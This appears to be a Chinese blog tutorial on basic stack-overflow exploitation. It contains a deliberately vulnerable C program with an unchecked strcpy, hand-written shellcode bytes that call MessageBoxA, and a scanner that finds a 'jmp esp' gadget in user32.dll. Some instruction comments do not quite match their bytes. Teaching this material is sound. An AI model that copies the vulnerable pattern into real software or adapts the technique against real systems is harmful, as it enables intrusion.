shellcode初识

目标程序源码

目标程序,用于演示栈溢出

#include <windows.h>
#include <stdio.h>
#define PASSWORD "1234567"

int test(char *pwd){
    int flag;
    char buf[44];//77D507EA 
    flag=strcmp(PASSWORD,pwd);
    strcpy(buf,pwd);
    return flag;
}

int main(){
    int flag=0;
    char pwd[1024];
    FILE* fp;
    LoadLibrary("user32.dll");
    if(!(fp=fopen("password.txt","rw+"))){
        exit(0);
    }
    fscanf(fp,"%s",pwd);
    flag=test(pwd);
    if(flag){
        printf("incorrect password!\n");
    }
    else{
        printf("Congratulation!\n");
    }
    fclose(fp);
    return 0;
}

test函数中buf大小为44,flag的size为4,内存结构为
44 byte的buf
4 byte的flag
4 byte的ebp
4 byte的返回地址

方法一

shellcode放在当前栈区,利用ret跳转到shellcode

33db        //xor ebx,ebx
53          //push ebx
6877b57374  //push 7473b57768
686661696c  //push 6c69616668
8bc4        //mov eax,esp
53          //push ebx
50          //push eax
50          //push eax
53          //push ebx
b8ea07d577  //mov eax,0x77d507ea  调用MessageBoxA,函数地址可能不同,更具实际值填入
ffd0        //call eax

编辑flag.txt
这里写图片描述
结果
这里写图片描述

方法二

由于栈地址是动态分配的,无法确定当前shellcode地址;此外,ret发生溢出时,esp地址不会被修改,所以可以利用一些dll文件中的jmp esp,来达到跳转的目的。

/*
    标题:查找user32.dll中的jmp esp
    编辑器:vc6.0
    系统:windows xp
*/
#include <stdio.h>
#include <windows.h>
int main(){
    HINSTANCE handle=LoadLibrary("user32.dll");
    if(!handle){
        printf("load dll error!\n");
        exit(0);
    }
    BYTE* ptr =(BYTE*)handle;
    for(int position=0;;position++){
        try{
            //查找jmp esp的opcode
            if(ptr[position]==0xff&&ptr[position+1]==0xe4){
                printf("%d\n",position);
                break;
            }
        }
        catch(...){

        }
    }
    return 0;
}

得到文件内偏移0x103251,加上user32.dll的地址,就是jmp esp的地址
修改flag.txt
这里写图片描述
运行结果相同

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值